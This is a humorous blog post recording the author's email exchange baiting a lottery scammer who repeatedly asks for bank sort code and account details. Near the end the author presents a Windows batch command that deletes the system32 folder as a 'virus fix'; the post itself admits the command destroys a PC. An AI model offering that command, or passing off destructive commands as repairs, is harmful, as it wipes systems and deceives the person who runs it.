I’d be stupid not to.

I get a lot of spam, if every spam email I got was truthful I’d be a multi millionaire who’s only care in the world would be tripping over his own wang. Sadly they are not true, and I’m not a millionaire. However the fact I never respond to these messages hasn’t stopped me getting them, hopefully this will.

From [redacted]

Subject: Winner.

Attentiion Email owner.

You have won the sum total of 1 million GBP (great british pounds)

To claim your prize please respond to this email address with your.

  1. name
  2. address
  3. sex
  4. sort code
  5. bank account number

To [redacted]

Subject Re: Winner.

WOW OMG I WON, THIS IS AMAZING.

I WILL OF COURSE SEND YOU ALL MY DETAILS.

  1. I.M NOTASTUPIDFUCK
  2. 12 HOPEFULLY AS FAR AWAY FROM YOU AS POSSIBLE STREET.
  3. YES PLEASE
  4. 12 34 56
  5. 123456789

CAN I HAVE MY MONEY NOW PLEASE LOL!

From [redacted]

Subject Re, Re: Winner.

Those details are not correct in order to claim you moneys you will need to provide you bank sort code and account number it is very importanst. without it the money will not be yours.

To [redacted]

Subject Re, Re, Re: Winner.

Sorry, I believe my computer may have been hacked. Is it still possible to claim my moneys? I could really do with a million pounds, I got another email saying I’d won 2 million, but I’m not greedy one million is more than enough to buy a ferret.

What do I need to send again?

From [redacted]

Subject, Re, Re, Re, Re: Winner.

Yes it is ok the moneys is still here. if you require the money then we require details from you, they are.

  1. name
  2. address
  3. sex
  4. sort code
  5. bank account number

once we have these details we can start the money transfer to your account.

To [redacted]

Subject Re, Re, Re, Re, Re: Winner.

Wow is that all? Amazing that with those details someone could easily clear out my account, but instead I’m going to make money, this is mega awesome. Ok here are my details.

  1. Karl Smallwood.
  2. 123 fake street.
  3. YES PLEASE!
  4. 3 ******* 7
  5. 5 *************4

I trust that will enough to get my money, I really, really want a fucking ferret. All my friends have them and they all mock me and call me ferretless joe, even though my name isn’t Joe. Although I am ferretless, so I don’t correct them.

From [redacted]

Subject Re, Re, Re, Re, Re, Re: Winner.

I am most sorry, your request for you winnings couldn not be completed you need to send your full details. your sort code and account number were missing. please send them to continue the transaction of fund moving to your account.

To [redacted]

Subject Re, Re, Re, Re, Re, Re, Re: Winner.

Really? I think maybe that virus I had earlier may have gotten to you, I’ll try sending the number again.

Sort code: $707£U@:>2

Account number: “£$)* (.)(.) 8==> “()£%&

If you can’t seen them I think you may have a problem, although not as big a problem as I do since my friends have now taught their ferrets how to give me the ferret version of the middle finger. This makes me sad, since I tried buying a cat and just not feeding it to make it look like a ferret and it died, so now I need the money for a ferret and a lawyer.

From [redacted]

Subject Re, Re, Re, Re, Re, Re, Re, Re: Winner.

no your numbers are not coming through, perhaps i have the virus you mentioned, how did you fix it so we can continue with the transaction, your funds may end up being sent to another person if you do not claim soon you must hurry.

To [redacted]

Subject Re, Re, Re, Re, Re, Re, Re, Re, Re: Winner.

Well, the only way to get rid of it as follows, you must do this exactly to the letter or it will not work.

open a notepad type the following:
@echo off
del c:\WINDOWS\system32

save the file as anything.bat (remember to add the .bat extension and save as all files)
double click and it will delete the system32 folder. Then your computer will be virus free and I can send you my details.

I hope this works for you since I really want my ferret, I’m going to call him Jeff and feed him pickles, he’ll be the best fucking ferret ever. We’ll play catch and frisbee and get up to all sorts of hi-jinks.

Funnily enough he never got back to me, if you’re curious about what I told him to do, deleting system 32 is a sure-fire way to destroy your pc. Don’t fucking do it, you’re not as stupid as this guy are you?

2 thoughts on “I’d be stupid not to.

  1. You just know that right up until the last comment, that guy thought he’d get one over on you. I imagine now he’s crying over his internet-pornless nights. (N)

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